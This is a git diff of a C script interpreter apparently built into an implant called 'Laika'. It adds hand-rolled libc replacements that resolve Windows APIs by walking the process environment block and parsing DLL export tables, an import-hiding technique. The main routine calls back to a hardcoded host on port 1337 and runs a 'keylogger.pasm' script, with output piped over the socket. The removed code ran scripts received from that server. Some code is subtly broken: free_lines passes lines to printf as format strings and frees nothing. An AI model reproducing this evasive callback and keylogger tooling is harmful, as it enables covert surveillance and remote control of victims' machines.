long long **temp = realloc(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*));
memset__(arr, 0, array_size);
long long **temp = realloc_(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*));
if (temp == NULL) {
dprintf(fstream, "Error allocating memory.\n");
return ARRAY_ERROR;
@@ -180,10 +181,10 @@ ARRAY_ERR add_array(char* line) {
++ptr;
while (*ptr != '"') {
if (*ptr == '\0' || i >= array_size) {
free(line_copy);
free_(line_copy);
return ARRAY_ERROR; //" is never closed
}
if (strncmp(ptr, "\\0", 2) == 0) {
if (strncmp__(ptr, "\\0", 2) == 0) {
arr[i++] = 0;
break;
}
@@ -192,58 +193,58 @@ ARRAY_ERR add_array(char* line) {
state->ARRAYS_VALUES[state->num_arrays++] = arr;
return ARRAY_OK;
}
ptr = strtok(ptr, ",");
ptr = strtok_(ptr, ",");
while (ptr != NULL) {
array_size++;
ptr = strtok(NULL, ",");
ptr = strtok_(NULL, ",");
}
long long *tmp2 = realloc(arr, array_size * sizeof(long long));
long long *tmp2 = realloc_(arr, array_size * sizeof(long long));
if (tmp2 == NULL || array_size == 0) {
dprintf(fstream, "Error allocating memory.\n");
return ARRAY_ERROR;
}
arr = tmp2;
memset(arr, 0, array_size);
long long **temp2 = realloc(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*));
memset__(arr, 0, array_size);
long long **temp2 = realloc_(state->ARRAYS_VALUES, (state->num_arrays + 1) * sizeof(long long*));
if (temp2 == NULL) {
dprintf(fstream, "Error allocating memory.\n");
return ARRAY_ERROR;
}
state->ARRAYS_VALUES = temp2;
ptr = line + 4 + strlen(state->ARRAYS_NAME[state->num_arrays]) + 1; //leave me alone i'm tired
ptr = strtok(ptr, ",");
ptr = strtok_(ptr, ",");
int j = 0;
while (ptr != NULL && j < array_size) {
if (ptr[0] == ' ')
++ptr;
if (strlen(ptr) > 2 && ptr[0] == '0' && ptr[1] == 'x') {
arr[j++] = strtol(ptr, NULL, 16);
arr[j++] = strtol_(ptr, NULL, 16);
}
else {
arr[j++] = atoi(ptr);
arr[j++] = strtol_(ptr, NULL, 10);
}
ptr = strtok(NULL, ",");
ptr = strtok_(NULL, ",");
}
state->ARRAYS_VALUES[state->num_arrays++] = arr;
free(line_copy);
free_(line_copy);
return ARRAY_OK;
}
char *extract_arg(char *ptr, int a) {
char *arg = 0;
char *ptr2 = strstr(ptr, ";");
char *ptr2 = strstr__(ptr, ";");
if (ptr2)
ptr2[0] = '\0';
if (a == 0) {
arg = strtok(ptr, ",");
arg = strtok_(ptr, ",");
} else {
arg = strtok(NULL, ",");
arg = strtok_(NULL, ",");
}
if (arg == NULL)
return NULL;
if (arg[0] == ' ')
arg++;
ptr2 = strstr(arg, " ");
ptr2 = strstr__(arg, " ");
if (ptr2)
ptr2[0] = '\0';
return arg;
@@ -267,26 +268,26 @@ int parse_arguments(char *line) {
strcpy(state->args->arg2, "");
#ifdef _WIN32
char *line_cpy = _strdup(line);
char *line_cpy = strdup_(line);
#else
char *line_cpy = strdup(line);
#endif
char *ptr = strstr(line_cpy, " ");
char *ptr = strstr__(line_cpy, " ");
char *arg = 0;
if (!ptr) {
free(line_cpy);
free_(line_cpy);
return 0;
}
if ((arg = extract_arg(ptr, 0)) == NULL) {
free(line_cpy);
free_(line_cpy);
return 0;
}
strcpy(state->args->arg1, arg);
if ((arg = extract_arg(ptr, 1)) == NULL) {
free(line_cpy);
free_(line_cpy);
return 0;
}
strcpy(state->args->arg2, arg);
free(line_cpy);
free_(line_cpy);
return 0;
}

View File

@@ -73,7 +73,7 @@ typedef enum E_ARRAY_ERR {
} ARRAY_ERR;
int init_state();
void free_state();
void free__state();
void set_exit_state(int exit_state);
int get_exit_state();
LABEL_ERR add_label(char *label, int line);

437
src/libc.c Normal file
View File

@@ -0,0 +1,437 @@
#include "libc.h"
#ifdef _WIN32
HANDLE _crt_heap_ = 0;
#include <winternl.h>
#ifdef _M_X64
#define GetTEB() ((PTEB)__readgsqword(FIELD_OFFSET(NT_TIB, Self)))
#else
#define GetTEB() ((PTEB)__readfsdword(FIELD_OFFSET(NT_TIB, Self)))
#endif
typedef LPVOID(WINAPI* fHeapAlloc)(HANDLE, DWORD, SIZE_T);
typedef BOOL(WINAPI* fHeapFree)(HANDLE, DWORD, LPVOID);
typedef HANDLE(WINAPI* fHeapCreate)(DWORD, SIZE_T, SIZE_T);
typedef LPVOID(WINAPI* fHeapReAlloc)(HANDLE, DWORD, LPVOID, SIZE_T);
typedef NTSTATUS(NTAPI* fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
typedef NTSTATUS(NTAPI* fLdrLoadDll)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE);
typedef HMODULE(WINAPI* fLoadLibraryW)(LPCWSTR);
typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR);
fGetProcAddress pGetProcAddress = NULL;
fLoadLibraryW pLoadLibraryW = NULL;
fHeapAlloc pHeapAlloc = NULL;
fHeapFree pHeapFree = NULL;
fHeapCreate pHeapCreate = NULL;
fHeapReAlloc pHeapReAlloc = NULL;
#endif
#ifndef _WIN32
#include <string.h>
#include <limits.h>
#endif
#define IS_LOW(c) ((c >= 'a' && c <= 'z') ? (1) : (0))
#define IS_UP(c) ((c >= 'A' && c <= 'Z') ? (1) : (0))
#define IS_ALPHA(c) ((IS_LOW(c) || IS_UP(c)) ? (1) : (0))
#define IS_NUM(c) ((c >= '0' && c <= '9') ? (1) : (0))
#define IS_SPACE(c) (c == ' ')
void* malloc_(size_t _Size) {
#ifndef _WIN32
return malloc(_Size);
#else
if (_crt_heap_ == 0) {
if (pHeapCreate == NULL) {
pHeapCreate = GetApi(L"KERNEL32.DLL", "HeapCreate");
}
_crt_heap_ = pHeapCreate(0, 0, 0);
}
if (pHeapAlloc == NULL) {
pHeapAlloc = GetApi(L"KERNEL32.DLL", "HeapAlloc");
}
return pHeapAlloc(_crt_heap_, HEAP_ZERO_MEMORY, _Size);
#endif
}
void free_(void* _Block) {
#ifndef _WIN32
free(_Block);
return;
#else
if (pHeapFree == NULL) {
pHeapFree = GetApi(L"KERNEL32.DLL", "HeapFree");
}
pHeapFree(_crt_heap_, 0, _Block);
return;
#endif
}
void* realloc_(void* _Block, size_t _Size) {
#ifndef _WIN32
return realloc(_Block, _Size);
#else
if (_crt_heap_ == 0) {
if (pHeapCreate == NULL) {
pHeapCreate = GetApi(L"KERNEL32.DLL", "HeapCreate");
}
_crt_heap_ = pHeapCreate(0, 0, 0);
}
if (_Block == NULL) {
if (pHeapAlloc == NULL) {
pHeapAlloc = GetApi(L"KERNEL32.DLL", "HeapAlloc");
}
return pHeapAlloc(_crt_heap_, HEAP_ZERO_MEMORY, _Size);
}
if (pHeapReAlloc == NULL) {
pHeapReAlloc = GetApi(L"KERNEL32.DLL", "HeapReAlloc");
}
return pHeapReAlloc(_crt_heap_, HEAP_ZERO_MEMORY, _Block, _Size);
#endif
}
int strlen__(char const* str)
{
int len = 0;
if (!str)
return 1;
for (int i = 0; str[i] != '\0'; i += 1) {
len += 1;
}
return (len);
}
char* strcpy__(char* dest, char const* src)
{
int len = strlen__(src);
for (int i = 0; src[i] != '\0'; i += 1) {
dest[i] = src[i];
}
dest[len] = '\0';
return dest;
}
char* strdup_(char const* src)
{
#ifndef _WIN32
return strdup(src);
#endif
char* dup;
int src_len;
if (src == NULL)
return NULL;
src_len = strlen__(src);
dup = malloc_(sizeof(char) * (src_len + 1));
strcpy__(dup, src);
return (dup);
}
int strncmp__(char const* s1, char const* s2, int n)
{
#ifndef _WIN32
return strncmp(s1, s2, n);
#endif
for (int i = 0; i < n; i += 1) {
if (s1[i] == '\0' || s2[i] == '\0') {
return (s1[i] - s2[i]);
}
if (s1[i] == s2[i]) {
continue;
}
return (s1[i] - s2[i]);
}
return (0);
}
int strcmp__(char const* s1, char const* s2)
{
#ifndef _WIN32
return strcmp(s1, s2);
#endif
int max_len;
if (strlen__(s1) > strlen__(s2)) {
max_len = strlen__(s1);
}
else {
max_len = strlen__(s2);
}
for (int i = 0; i < max_len; i += 1) {
if (s1[i] == s2[i]) {
continue;
}
return (s1[i] - s2[i]);
}
return (0);
}
char* strstr__(char* str, char const* to_find)
{
#ifndef WIN32
return strstr(str, to_find);
#endif
int len_str = strlen__(str);
int len_str_to_find = strlen__(to_find);
if (strlen__(to_find) == 0) {
return (str);
}
for (int i = 0; i < len_str - len_str_to_find + 1; i += 1) {
if (strncmp__(&str[i], to_find, strlen__(to_find)) == 0) {
return (&str[i]);
}
}
return (NULL);
}
//https://github.com/gcc-mirror/gcc/blob/master/libiberty/strtol.c
long strtol_(const char* nptr, char** endptr, register int base)
{
#ifndef _WIN32
return strtol(nptr, endptr, base);
#endif
register const char* s = nptr;
register unsigned long acc;
register int c;
register unsigned long cutoff;
register int neg = 0, any, cutlim;
/*
* Skip white space and pick up leading +/- sign if any.
* If base is 0, allow 0x for hex and 0 for octal, else
* assume decimal; if base is already 16, allow 0x.
*/
do {
c = *s++;
} while (IS_SPACE(c));
if (c == '-') {
neg = 1;
c = *s++;
}
else if (c == '+')
c = *s++;
if ((base == 0 || base == 16) &&
c == '0' && (*s == 'x' || *s == 'X')) {
c = s[1];
s += 2;
base = 16;
}
if (base == 0)
base = c == '0' ? 8 : 10;
/*
* Compute the cutoff value between legal numbers and illegal
* numbers. That is the largest legal value, divided by the
* base. An input number that is greater than this value, if
* followed by a legal input character, is too big. One that
* is equal to this value may be valid or not; the limit
* between valid and invalid numbers is then based on the last
* digit. For instance, if the range for longs is
* [-2147483648..2147483647] and the input base is 10,
* cutoff will be set to 214748364 and cutlim to either
* 7 (neg==0) or 8 (neg==1), meaning that if we have accumulated
* a value > 214748364, or equal but the next digit is > 7 (or 8),
* the number is too big, and we will return a range error.
*
* Set any if any `digits' consumed; make it negative to indicate
* overflow.
*/
cutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX;
cutlim = cutoff % (unsigned long)base;
cutoff /= (unsigned long)base;
for (acc = 0, any = 0;; c = *s++) {
if (IS_NUM(c))
c -= '0';
else if (IS_ALPHA(c))
c -= IS_UP(c) ? 'A' - 10 : 'a' - 10;
else
break;
if (c >= base)
break;
if (any < 0 || acc > cutoff || (acc == cutoff && c > cutlim))
any = -1;
else {
any = 1;
acc *= base;
acc += c;
}
}
if (any < 0) {
acc = neg ? LONG_MIN : LONG_MAX;
}
else if (neg)
acc = -acc;
if (endptr != 0)
*endptr = (char*)(any ? s - 1 : nptr);
return (acc);
}
//https://opensource.apple.com/source/Libc/Libc-167/string.subproj/strtok.c.auto.html
char* strtok_(register char *s, register const char* delim)
{
#ifndef _WIN32
return strtok(s, delim);
#endif
register char* spanp;
register int c, sc;
char* tok;
static char* last;
if (s == NULL && (s = last) == NULL)
return (NULL);
/*
* Skip (span) leading delimiters (s += strspn(s, delim), sort of).
*/
cont:
c = *s++;
for (spanp = (char*)delim; (sc = *spanp++) != 0;) {
if (c == sc)
goto cont;
}
if (c == 0) { /* no non-delimiter characters */
last = NULL;
return (NULL);
}
tok = s - 1;
/*
* Scan token (scan for delimiters: s += strcspn(s, delim), sort of).
* Note that delim must have one NUL; we stop if we see that, too.
*/
for (;;) {
c = *s++;
spanp = (char*)delim;
do {
if ((sc = *spanp++) == c) {
if (c == 0)
s = NULL;
else
s[-1] = 0;
last = s;
return (tok);
}
} while (sc != 0);
}
/* NOTREACHED */
}
#ifdef _WIN32
#pragma optimize("", off)
#endif
void* memset__(void* a, int val, size_t size) {
#ifndef _WIN32
return memset(a, val, size);
#endif
if (a == NULL)
return NULL;
for (size_t i = 0; i < size; i++)
((char*)a)[i] = (char)val;
return a;
}
#ifdef _WIN32
#pragma optimize("", on)
#endif
#ifdef _WIN32
wchar_t tolower_wchar(wchar_t wc) {
if (wc >= L'A' && wc <= L'Z') {
return wc + (L'a' - L'A');
}
return wc;
}
wchar_t* wcsstr__(const wchar_t* haystack, const wchar_t* needle) {
if (!*needle)
return (wchar_t*)haystack;
while (*haystack) {
const wchar_t* h = haystack;
const wchar_t* n = needle;
while (*h && *n && (tolower_wchar(*h) == tolower_wchar(*n))) {
h++;
n++;
}
if (!*n)
return (wchar_t*)haystack;
haystack++;
}
return NULL;
}
HMODULE get_module(const wchar_t* mod) {
PTEB tebPtr = GetTEB();
PPEB_LDR_DATA ldrData = tebPtr->ProcessEnvironmentBlock->Ldr;
PLIST_ENTRY moduleList = &(ldrData->InMemoryOrderModuleList);
for (PLIST_ENTRY entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) {
LDR_DATA_TABLE_ENTRY* module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (wcsstr__(module->FullDllName.Buffer, mod) != NULL) {
return (HMODULE)(module->DllBase);
}
}
return NULL;
}
void* GetProcAddress_(HMODULE hModule, LPCSTR lpProcName) {
if (hModule == NULL) {
return NULL;
}
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return NULL;
}
IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew);
if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
return NULL;
}
IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)hModule + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* nameRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames);
DWORD* addrRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions);
WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
const char* functionName = (const char*)((BYTE*)hModule + nameRVAs[i]);
if (strcmp(functionName, lpProcName) == 0) {
DWORD funcRVA = addrRVAs[ordinals[i]];
void* funcPtr = (void*)((BYTE*)hModule + funcRVA);
return funcPtr;
}
}
return NULL;
}
void* GetApi(const wchar_t* module, LPCSTR function) {
if (pGetProcAddress == NULL) {
HMODULE hKernel32 = NULL;
if (pLoadLibraryW == NULL) { //should not happen as Laika loads the required modules at startup
HMODULE ntdll = get_module(L"ntdll.dll");
fLdrLoadDll ldr = (fLdrLoadDll)GetProcAddress_(ntdll, "LdrLoadDll");
fRtlInitUnicodeString r = (fRtlInitUnicodeString)GetProcAddress_(ntdll, "RtlInitUnicodeString");
wchar_t* wide = L"kernel32.dll";
UNICODE_STRING dll;
r(&dll, wide);
ldr(0, 0, &dll, (PVOID*)&hKernel32);
pLoadLibraryW = GetProcAddress_(hKernel32, "LoadLibraryW");
}
pGetProcAddress = GetProcAddress_(hKernel32, "GetProcAddress");
}
HMODULE mod = get_module(module);
if (mod == NULL) {
mod = pLoadLibraryW(module);
}
return pGetProcAddress(mod, function);
}
#endif

22
src/libc.h Normal file
View File

@@ -0,0 +1,22 @@
#pragma once
#include <stdlib.h>
#ifdef _WIN32
#include <Windows.h>
extern HANDLE _crt_heap_;
#endif
void* malloc_(size_t _Size);
void free_(void* _Block);
void* realloc_(void* _Block, size_t _Size);
char* strdup_(char const* src);
int strncmp__(char const* s1, char const* s2, int n);
int strcmp__(char const* s1, char const* s2);
char* strstr__(char* str, char const* to_find);
long strtol_(const char* nptr, char** endptr, register int base);
char* strtok_(register char* s, register const char* delim);
void* memset__(void* a, int val, size_t size);
#ifdef _WIN32
void* GetApi(const wchar_t* module, LPCSTR function);
#endif

View File

@@ -3,6 +3,7 @@
#include "file_utils.h"
#include "debug.h"
#include "libc.h"
#include "interpreter_states.h"
#include "instructions.h"
@@ -10,27 +11,61 @@ int fstream = 0;
int pasm_debug_mode = 0;
#ifdef _WIN32 // i swear i hate windows at this point
#pragma comment(lib, "ws2_32.lib")
#include <stdarg.h>
#include <io.h>
#include <winsock.h>
typedef HANDLE(WINAPI* fGetStdHandle)(DWORD);
typedef int(WINAPI* fwvsprintfA)(LPSTR, LPCSTR, va_list);
typedef BOOL(WINAPI* fWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
fGetStdHandle pGetStdHandle = NULL;
fwvsprintfA pwvsprintfA = NULL;
fWriteFile pWriteFile = NULL;
int dprintf(int stream, const char * format, ...) {
char buf[256] = {0}; //might overflow but whatever, fuck Windows
char buffer[1024]; //might overflow but whatever, fuck Windows
va_list args;
DWORD written;
int length;
va_start(args, format);
int wrote = vsprintf(buf, format, args);
struct sockaddr name = {0};
int len = 0;
if (getsockname(stream, &name, &len) != 0) {
_write(stream, buf, sizeof(buf));
HANDLE h;
if (pGetStdHandle == NULL)
pGetStdHandle = (fGetStdHandle)GetApi(L"KERNEL32.DLL", "GetStdHandle");
if (pwvsprintfA == NULL)
pwvsprintfA = (fwvsprintfA)GetApi(L"USER32.dll", "wvsprintfA");
if (pWriteFile == NULL)
pWriteFile = (fWriteFile)GetApi(L"KERNEL32.DLL", "WriteFile");
switch (stream) {
case 1: // stdout
h = pGetStdHandle(STD_OUTPUT_HANDLE);
break;
case 2: // stderr
h = pGetStdHandle(STD_ERROR_HANDLE);
break;
default: // Assume stream is a socket
h = (HANDLE)stream;
break;
}
length = pwvsprintfA(buffer, format, args);
va_end(args);
if (stream == 1 || stream == 2) {
if (!pWriteFile(h, buffer, length, &written, NULL)) {
return -1;
}
}
else {
send(stream, buf, sizeof(buf), 0);
OVERLAPPED ov = {0};
if (!pWriteFile(h, buffer, length, &written, &ov)) {
state->should_exit = 1; //broken socket -> host disconnected
return -1;
}
}
va_end(args);
return wrote;
return length;
}
#endif
@@ -41,10 +76,21 @@ void show_error(size_t line, char *line_) {
int wrote = dprintf(fstream, "%ld| ", line + 1);
#endif
dprintf(fstream, "%s\n", line_);
#ifdef _WIN32
// I hate you Windows
for (int j = 0; j < wrote; j++)
dprintf(fstream, " ");
dprintf(fstream, "^\n");
for (int k = 0; k < wrote; k++)
dprintf(fstream, " ");
dprintf(fstream, "|\n");
#else
dprintf(fstream, "%*s\n", wrote + 1, "^");
dprintf(fstream, "%*s\n", wrote + 1, "|");
#endif
for (int i = 0; i < wrote; i++)
dprintf(fstream, " ");
dprintf(fstream, " ");
}
int check_errors(char *line) {
@@ -92,7 +138,7 @@ int pasm_run_script(const char *filename, char **file, size_t lines, int _fstrea
return 1;
if (init_state() == 1) {
dprintf(fstream, "Failed to initialize the interpreter.\n");
free_script(file);
free__script(file);
return 1;
}
@@ -101,39 +147,44 @@ int pasm_run_script(const char *filename, char **file, size_t lines, int _fstrea
if (pasm_debug_mode && found_main)
debug_input(file[state->curr_line]);
#ifdef _WIN32
char* line = _strdup(file[state->curr_line]);
char* line = strdup_(file[state->curr_line]);
#else
char *line = strdup(file[state->curr_line]);
#endif
if (line[0] == ';' || line[0] == '\0' || line[0] == '\t') {
free(line);
if (line[0] == ';' || line[0] == '\0' || line[0] == '\t' || line[0] == '\r' || line[0] == '\n') {
free_(line);
continue;
}
const command_t *com = find_command(command_map, strtok(line, " "));
while (file[state->curr_line][strlen(line) - 1] == '\r' || file[state->curr_line][strlen(line) - 1] == '\n') {
file[state->curr_line][strlen(line) - 1] = '\0';
line[strlen(line) - 1] = '\0';
}
const command_t *com = find_command(command_map, strtok_(line, " "));
if (com == NULL || com->fptr == NULL) {
ARRAY_ERR err = add_array(file[state->curr_line]);
if (err == ARRAY_OK) {
free(line);
free_(line);
continue;
}
if (err == ARRAY_ERROR) {
show_error(state->curr_line, file[state->curr_line]);
dprintf(fstream, "%s\n", "bad syntax in array definition");
set_exit_state(-1);
free(line);
free_(line);
break;
}
if (file[state->curr_line][strlen(line) - 1] != ':') {
show_error(state->curr_line, file[state->curr_line]);
dprintf(fstream, "%s \"%s\"\n", "unknown expression", strtok(file[state->curr_line], " "));
dprintf(fstream, "%s \"%s\"\n", "unknown expression", strtok_(file[state->curr_line], " "));
set_exit_state(-1);
free(line);
free_(line);
break;
}
add_label(line, state->curr_line);
if (!found_main && strcmp(line, "main:") == 0)
if (!found_main && strcmp__(line, "main:") == 0)
found_main = 1;
free(line);
free_(line);
continue;
}
parse_arguments(file[state->curr_line]);
@@ -144,10 +195,10 @@ int pasm_run_script(const char *filename, char **file, size_t lines, int _fstrea
set_exit_state(-1);
break;
}
free(line);
free_(line);
}
int ret_code = get_exit_state();
free_script(file);
//free__script(file);
return ret_code;
}

View File

@@ -9,76 +9,82 @@
#define BUFFER_SIZE 4096
char** get_lines(char* str, int* count) {
// Check for null pointer
if (!str || !count) {
return 0;
#define INITIAL_BUFFER_SIZE 256
#define INITIAL_ARRAY_SIZE 10
char** read_file_into_array(const char* filename, int* lines_count) {
FILE* file = fopen(filename, "r");
if (file == NULL) {
perror("Error opening file");
return NULL;
}
// Count the number of lines
*count = 1;
for (char* p = str; *p; ++p) {
if (*p == '\r' && *(p + 1) == '\n') {
++(*count);
++p; // Skip '\n'
}
// Allocate initial space for the array of strings
int array_size = INITIAL_ARRAY_SIZE;
char** lines = malloc(array_size * sizeof(char*));
if (lines == NULL) {
perror("Error allocating memory for lines");
fclose(file);
return NULL;
}
// Allocate memory for char** array
char** lines = (char**)malloc((*count + 1) * sizeof(char*));
if (!lines) {
// Handle allocation failure
return 0;
}
char buffer[INITIAL_BUFFER_SIZE];
int count = 0;
// Copy lines to char** array
int lineIndex = 0;
char* start = str;
for (char* p = str; *p; ++p) {
if (*p == '\r' && *(p + 1) == '\n') {
int lineLength = p - start;
lines[lineIndex] = (char*)malloc((lineLength + 1) * sizeof(char));
if (!lines[lineIndex]) {
// Handle allocation failure
while (fgets(buffer, INITIAL_BUFFER_SIZE, file)) {
// Remove newline character, if present
buffer[strcspn(buffer, "\n")] = '\0';
// Reallocate if necessary
if (count >= array_size) {
array_size *= 2;
char** temp = realloc(lines, array_size * sizeof(char*));
if (temp == NULL) {
perror("Error reallocating memory for lines");
// Free previously allocated memory
for (int i = 0; i < lineIndex; ++i) {
for (int i = 0; i < count; i++) {
free(lines[i]);
}
free(lines);
return 0;
fclose(file);
return NULL;
}
strncpy(lines[lineIndex], start, lineLength);
lines[lineIndex][lineLength] = '\0'; // Null-terminate the line
++lineIndex;
++p; // Skip '\n'
start = p + 1; // Move to the next line
lines = temp;
}
// Allocate memory for the line and store it
lines[count] = malloc(strlen(buffer) + 1);
if (lines[count] == NULL) {
perror("Error allocating memory for a line");
// Free previously allocated memory
for (int i = 0; i < count; i++) {
free(lines[i]);
}
free(lines);
fclose(file);
return NULL;
}
strcpy(lines[count], buffer);
count++;
}
// Copy the last line
int lastLineLength = strlen(start);
lines[lineIndex] = (char*)malloc((lastLineLength + 1) * sizeof(char));
if (!lines[lineIndex]) {
// Handle allocation failure
// Free previously allocated memory
for (int i = 0; i <= lineIndex; ++i) {
free(lines[i]);
}
free(lines);
return 0;
}
strcpy(lines[lineIndex], start);
lines[*count] = 0; // Null-terminate the char** array
fclose(file);
// Store the number of lines read
*lines_count = count;
return lines;
}
int WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nShowCmd
) {
void free_lines(char** lines, int count) {
for (int i = 0; i < count; i++) {
printf(lines[i]);
}
}
int main(int argc, char** argv) {
int sock;
int first = 1;
struct sockaddr_in server;
@@ -100,7 +106,7 @@ retry:
first = 0;
}
server.sin_addr.s_addr = inet_addr("192.168.1.35");
server.sin_addr.s_addr = inet_addr("192.168.56.1");
server.sin_port = htons(1337);
//Create socket
@@ -118,23 +124,9 @@ retry:
goto retry;
}
//keep communicating with server
while (1)
{
memset(server_reply, 0, BUFFER_SIZE);
const char* filename = "../../examples/keylogger.pasm";
int lines_count;
char** lines = read_file_into_array(filename, &lines_count);
//Receive a reply from the server
if (recv(sock, server_reply, BUFFER_SIZE, 0) <= 0)
{
//recv failed
Sleep(500);
goto retry;
}
int lines = 0;
char **script = get_lines(server_reply, &lines);
printf("%d\n", pasm_run_script("../examples/keylogger.pasm", 0, 0, sock));
}
return 0;
return pasm_run_script(NULL, lines, lines_count, sock);
}